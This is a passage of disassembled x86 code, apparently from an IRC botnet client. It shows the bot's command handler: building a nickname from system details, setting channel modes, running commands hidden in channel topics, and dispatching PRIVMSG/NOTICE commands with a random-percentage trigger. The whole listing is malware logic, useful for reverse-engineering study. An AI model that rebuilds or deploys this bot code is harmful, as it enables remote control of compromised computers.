		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DB78
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		push	offset dword_41DB88
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41F018
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41F018
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41F018
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EF18
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EF18
		push	[ebp+arg_4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EF18
		push	[ebp+var_90]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EF18
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EF18
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	ds:dword_41EA7C, 1
		jmp	short loc_40E674
